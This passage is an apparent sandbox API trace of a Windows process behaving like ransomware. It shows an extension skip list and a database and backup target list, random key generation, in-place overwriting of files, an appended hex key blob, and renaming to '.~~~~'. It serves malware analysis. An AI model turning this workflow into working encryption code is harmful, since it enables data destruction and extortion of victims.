	[0077.869] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\JPEGIM32.FLT", lpSrch=".ckp") returned 0x0
	[0077.869] lstrlenW (lpString=".dbt") returned 4
	[0077.869] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\JPEGIM32.FLT", lpSrch=".dbt") returned 0x0
	[0077.869] lstrlenW (lpString=".db") returned 3
	[0077.869] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\JPEGIM32.FLT", lpSrch=".db") returned 0x0
	[0077.869] lstrlenW (lpString=".TXT") returned 4
	[0077.869] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\JPEGIM32.FLT", lpSrch=".TXT") returned 0x0
	[0077.869] lstrlenW (lpString=".MDF") returned 4
	[0077.869] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\JPEGIM32.FLT", lpSrch=".MDF") returned 0x0
	[0077.869] lstrlenW (lpString=".bdb") returned 4
	[0077.869] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\JPEGIM32.FLT", lpSrch=".bdb") returned 0x0
	[0077.870] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0077.870] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\JPEGIM32.FLT", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0077.870] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x28045a8
	[0077.870] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0077.870] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x39fe28) returned 1
	[0077.871] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0077.871] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0077.871] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0077.871] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0077.871] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x28061e8
	[0077.871] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=19786124497) returned 1
	[0077.871] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0x9850d3d0, dwHighDateTime=0x1d60e1e)) 
	[0077.871] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0077.871] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0077.871] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0077.871] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x35c960
	[0077.871] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0077.871] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x35c960 | out: hHeap=0x300000) returned 1
	[0077.872] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0077.872] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0077.872] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3e7450
	[0077.872] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0077.872] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a8300
	[0077.872] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e7450 | out: hHeap=0x300000) returned 1
	[0077.872] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0077.872] GetLastError () returned 0x0
	[0077.872] GetLastError () returned 0x0
	[0077.872] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0077.872] GetLastError () returned 0x0
	[0077.872] GetLastError () returned 0x0
	[0077.872] ReadFile (in: hFile=0x130, lpBuffer=0x3b76e0, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x3b76e0*, lpNumberOfBytesRead=0x24dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0077.876] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0077.876] WriteFile (in: hFile=0x130, lpBuffer=0x3b76e0*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x3b76e0*, lpNumberOfBytesWritten=0x24dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0077.877] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b76e0 | out: hHeap=0x300000) returned 1
	[0077.877] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0077.877] WriteFile (in: hFile=0x130, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0077.877] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0077.877] WriteFile (in: hFile=0x130, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0077.877] CloseHandle (hObject=0x130) returned 1
	[0077.878] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e7450
	[0077.878] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\JPEGIM32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\jpegim32.flt"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\JPEGIM32.FLT.~~~~" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\jpegim32.flt.~~~~")) returned 1
	[0077.878] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e7450 | out: hHeap=0x300000) returned 1
	[0077.878] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0077.878] GetLastError () returned 0x0
	[0077.879] RtlWakeConditionVariable () returned 0x365f70
	[0077.879] GetCurrentThreadId () returned 0x3a4
	[0077.879] GetCurrentThreadId () returned 0x3a4
	[0077.879] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a7980
	[0077.879] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a8430 | out: hHeap=0x300000) returned 1
	[0077.879] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a9730 | out: hHeap=0x300000) returned 1
	[0077.879] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a8430
	[0077.879] lstrlenW (lpString=".scr") returned 4
	[0077.879] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.CGM", lpSrch=".scr") returned 0x0
	[0077.879] lstrlenW (lpString=".cmd") returned 4
	[0077.879] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.CGM", lpSrch=".cmd") returned 0x0
	[0077.879] lstrlenW (lpString=".dll") returned 4
	[0077.879] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.CGM", lpSrch=".dll") returned 0x0
	[0077.879] lstrlenW (lpString=".bat") returned 4
	[0077.879] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.CGM", lpSrch=".bat") returned 0x0
	[0077.879] lstrlenW (lpString=".cpl") returned 4
	[0077.879] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.CGM", lpSrch=".cpl") returned 0x0
	[0077.879] lstrlenW (lpString=".sys") returned 4
	[0077.879] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.CGM", lpSrch=".sys") returned 0x0
	[0077.879] lstrlenW (lpString=".msc") returned 4
	[0077.880] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.CGM", lpSrch=".msc") returned 0x0
	[0077.880] lstrlenW (lpString=".com") returned 4
	[0077.880] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.CGM", lpSrch=".com") returned 0x0
	[0077.880] lstrlenW (lpString=".lnk") returned 4
	[0077.880] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.CGM", lpSrch=".lnk") returned 0x0
	[0077.880] lstrlenW (lpString=".msp") returned 4
	[0077.880] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.CGM", lpSrch=".msp") returned 0x0
	[0077.880] lstrlenW (lpString=".pif") returned 4
	[0077.880] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.CGM", lpSrch=".pif") returned 0x0
	[0077.880] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0077.880] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.CGM", lpSrch="msp\r\n.pif") returned 0x0
	[0077.880] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.CGM" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.cgm"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130
	[0077.884] lstrlenW (lpString=".sqb") returned 4
	[0077.884] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.CGM", lpSrch=".sqb") returned 0x0
	[0077.884] lstrlenW (lpString=".ost") returned 4
	[0077.884] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.CGM", lpSrch=".ost") returned 0x0
	[0077.884] lstrlenW (lpString=".txt") returned 4
	[0077.884] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.CGM", lpSrch=".txt") returned 0x0
	[0077.884] lstrlenW (lpString=".mdt") returned 4
	[0077.884] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.CGM", lpSrch=".mdt") returned 0x0
	[0077.884] lstrlenW (lpString=".BDB") returned 4
	[0077.884] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.CGM", lpSrch=".BDB") returned 0x0
	[0077.884] lstrlenW (lpString=".eql") returned 4
	[0077.884] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.CGM", lpSrch=".eql") returned 0x0
	[0077.884] lstrlenW (lpString=".DBF") returned 4
	[0077.885] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.CGM", lpSrch=".DBF") returned 0x0
	[0077.885] lstrlenW (lpString=".EQL") returned 4
	[0077.885] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.CGM", lpSrch=".EQL") returned 0x0
	[0077.885] lstrlenW (lpString=".FDB") returned 4
	[0077.885] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.CGM", lpSrch=".FDB") returned 0x0
	[0077.885] lstrlenW (lpString=".EDB") returned 4
	[0077.885] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.CGM", lpSrch=".EDB") returned 0x0
	[0077.885] lstrlenW (lpString=".DACPAC") returned 7
	[0077.885] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.CGM", lpSrch=".DACPAC") returned 0x0
	[0077.885] lstrlenW (lpString=".VHD") returned 4
	[0077.885] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.CGM", lpSrch=".VHD") returned 0x0
	[0077.885] lstrlenW (lpString=".DBV") returned 4
	[0077.885] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.CGM", lpSrch=".DBV") returned 0x0
	[0077.885] lstrlenW (lpString=".dacpac") returned 7
	[0077.885] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.CGM", lpSrch=".dacpac") returned 0x0
	[0077.885] lstrlenW (lpString=".sdf") returned 4
	[0077.885] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.CGM", lpSrch=".sdf") returned 0x0
	[0077.885] lstrlenW (lpString=".accdb") returned 6
	[0077.885] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.CGM", lpSrch=".accdb") returned 0x0
	[0077.885] lstrlenW (lpString=".DBX") returned 4
	[0077.886] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.CGM", lpSrch=".DBX") returned 0x0
	[0077.886] lstrlenW (lpString=".MDT") returned 4
	[0077.886] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.CGM", lpSrch=".MDT") returned 0x0
	[0077.886] lstrlenW (lpString=".SQB") returned 4
	[0077.886] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.CGM", lpSrch=".SQB") returned 0x0
	[0077.886] lstrlenW (lpString=".vhd") returned 4
	[0077.886] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.CGM", lpSrch=".vhd") returned 0x0
	[0077.886] lstrlenW (lpString=".bac") returned 4
	[0077.886] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.CGM", lpSrch=".bac") returned 0x0
	[0077.886] lstrlenW (lpString=".mdf") returned 4
	[0077.886] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.CGM", lpSrch=".mdf") returned 0x0
	[0077.886] lstrlenW (lpString=".BAK") returned 4
	[0077.886] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.CGM", lpSrch=".BAK") returned 0x0
	[0077.886] lstrlenW (lpString=".BAC") returned 4
	[0077.886] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.CGM", lpSrch=".BAC") returned 0x0
	[0077.886] lstrlenW (lpString=".dbs") returned 4
	[0077.886] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.CGM", lpSrch=".dbs") returned 0x0
	[0077.886] lstrlenW (lpString=".vhdx") returned 5
	[0077.886] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.CGM", lpSrch=".vhdx") returned 0x0
	[0077.886] lstrlenW (lpString=".NDF") returned 4
	[0077.887] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.CGM", lpSrch=".NDF") returned 0x0
	[0077.887] lstrlenW (lpString=".dat") returned 4
	[0077.887] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.CGM", lpSrch=".dat") returned 0x0
	[0077.887] lstrlenW (lpString=".DBS") returned 4
	[0077.887] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.CGM", lpSrch=".DBS") returned 0x0
	[0077.887] lstrlenW (lpString=".CKP") returned 4
	[0077.887] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.CGM", lpSrch=".CKP") returned 0x0
	[0077.887] lstrlenW (lpString=".edb") returned 4
	[0077.887] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.CGM", lpSrch=".edb") returned 0x0
	[0077.887] lstrlenW (lpString=".PST") returned 4
	[0077.887] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.CGM", lpSrch=".PST") returned 0x0
	[0077.887] lstrlenW (lpString=".dbf") returned 4
	[0077.887] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.CGM", lpSrch=".dbf") returned 0x0
	[0077.887] lstrlenW (lpString=".SQL") returned 4
	[0077.887] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.CGM", lpSrch=".SQL") returned 0x0
	[0077.887] lstrlenW (lpString=".pst") returned 4
	[0077.887] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.CGM", lpSrch=".pst") returned 0x0
	[0077.888] lstrlenW (lpString=".dbv") returned 4
	[0077.888] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.CGM", lpSrch=".dbv") returned 0x0
	[0077.888] lstrlenW (lpString=".SDF") returned 4
	[0077.888] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.CGM", lpSrch=".SDF") returned 0x0
	[0077.888] lstrlenW (lpString=".dtxs") returned 5
	[0077.888] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.CGM", lpSrch=".dtxs") returned 0x0
	[0077.888] lstrlenW (lpString=".db3") returned 4
	[0077.888] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.CGM", lpSrch=".db3") returned 0x0
	[0077.888] lstrlenW (lpString=".OST") returned 4
	[0077.888] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.CGM", lpSrch=".OST") returned 0x0
	[0077.888] lstrlenW (lpString=".dbx") returned 4
	[0077.888] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.CGM", lpSrch=".dbx") returned 0x0
	[0077.888] lstrlenW (lpString=".DB3") returned 4
	[0077.888] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.CGM", lpSrch=".DB3") returned 0x0
	[0077.888] lstrlenW (lpString=".DAT") returned 4
	[0077.888] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.CGM", lpSrch=".DAT") returned 0x0
	[0077.888] lstrlenW (lpString=".VHDX") returned 5
	[0077.888] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.CGM", lpSrch=".VHDX") returned 0x0
	[0077.888] lstrlenW (lpString=".ndf") returned 4
	[0077.888] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.CGM", lpSrch=".ndf") returned 0x0
	[0077.888] lstrlenW (lpString=".DB") returned 3
	[0077.889] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.CGM", lpSrch=".DB") returned 0x0
	[0077.889] lstrlenW (lpString=".sql") returned 4
	[0077.889] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.CGM", lpSrch=".sql") returned 0x0
	[0077.889] lstrlenW (lpString=".MYD") returned 4
	[0077.889] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.CGM", lpSrch=".MYD") returned 0x0
	[0077.889] lstrlenW (lpString=".DBT") returned 4
	[0077.889] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.CGM", lpSrch=".DBT") returned 0x0
	[0077.889] lstrlenW (lpString=".ACCDB") returned 6
	[0077.889] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.CGM", lpSrch=".ACCDB") returned 0x0
	[0077.889] lstrlenW (lpString=".fdb") returned 4
	[0077.889] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.CGM", lpSrch=".fdb") returned 0x0
	[0077.889] lstrlenW (lpString=".bak") returned 4
	[0077.889] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.CGM", lpSrch=".bak") returned 0x0
	[0077.889] lstrlenW (lpString=".myd") returned 4
	[0077.889] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.CGM", lpSrch=".myd") returned 0x0
	[0077.889] lstrlenW (lpString=".DTXS") returned 5
	[0077.889] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.CGM", lpSrch=".DTXS") returned 0x0
	[0077.889] lstrlenW (lpString=".ckp") returned 4
	[0077.889] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.CGM", lpSrch=".ckp") returned 0x0
	[0077.889] lstrlenW (lpString=".dbt") returned 4
	[0077.889] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.CGM", lpSrch=".dbt") returned 0x0
	[0077.890] lstrlenW (lpString=".db") returned 3
	[0077.890] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.CGM", lpSrch=".db") returned 0x0
	[0077.890] lstrlenW (lpString=".TXT") returned 4
	[0077.890] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.CGM", lpSrch=".TXT") returned 0x0
	[0077.890] lstrlenW (lpString=".MDF") returned 4
	[0077.890] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.CGM", lpSrch=".MDF") returned 0x0
	[0077.890] lstrlenW (lpString=".bdb") returned 4
	[0077.890] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.CGM", lpSrch=".bdb") returned 0x0
	[0077.890] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0077.890] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.CGM", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0077.890] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x28045a8
	[0077.890] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0077.890] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x39fe28) returned 1
	[0077.891] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0077.891] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0077.891] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0077.891] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0077.891] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x28061e8
	[0077.891] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=19788155106) returned 1
	[0077.892] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0x98533530, dwHighDateTime=0x1d60e1e)) 
	[0077.892] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0077.892] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0077.892] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0077.892] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a9730
	[0077.892] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0077.892] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a9730 | out: hHeap=0x300000) returned 1
	[0077.892] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0077.892] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0077.892] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3e7450
	[0077.892] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0077.892] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a8398
	[0077.892] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e7450 | out: hHeap=0x300000) returned 1
	[0077.892] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0077.892] GetLastError () returned 0x0
	[0077.893] GetLastError () returned 0x0
	[0077.893] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0077.893] GetLastError () returned 0x0
	[0077.893] GetLastError () returned 0x0
	[0077.893] ReadFile (in: hFile=0x130, lpBuffer=0x3b76e0, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x3b76e0*, lpNumberOfBytesRead=0x24dfec0*=0x774, lpOverlapped=0x0) returned 1
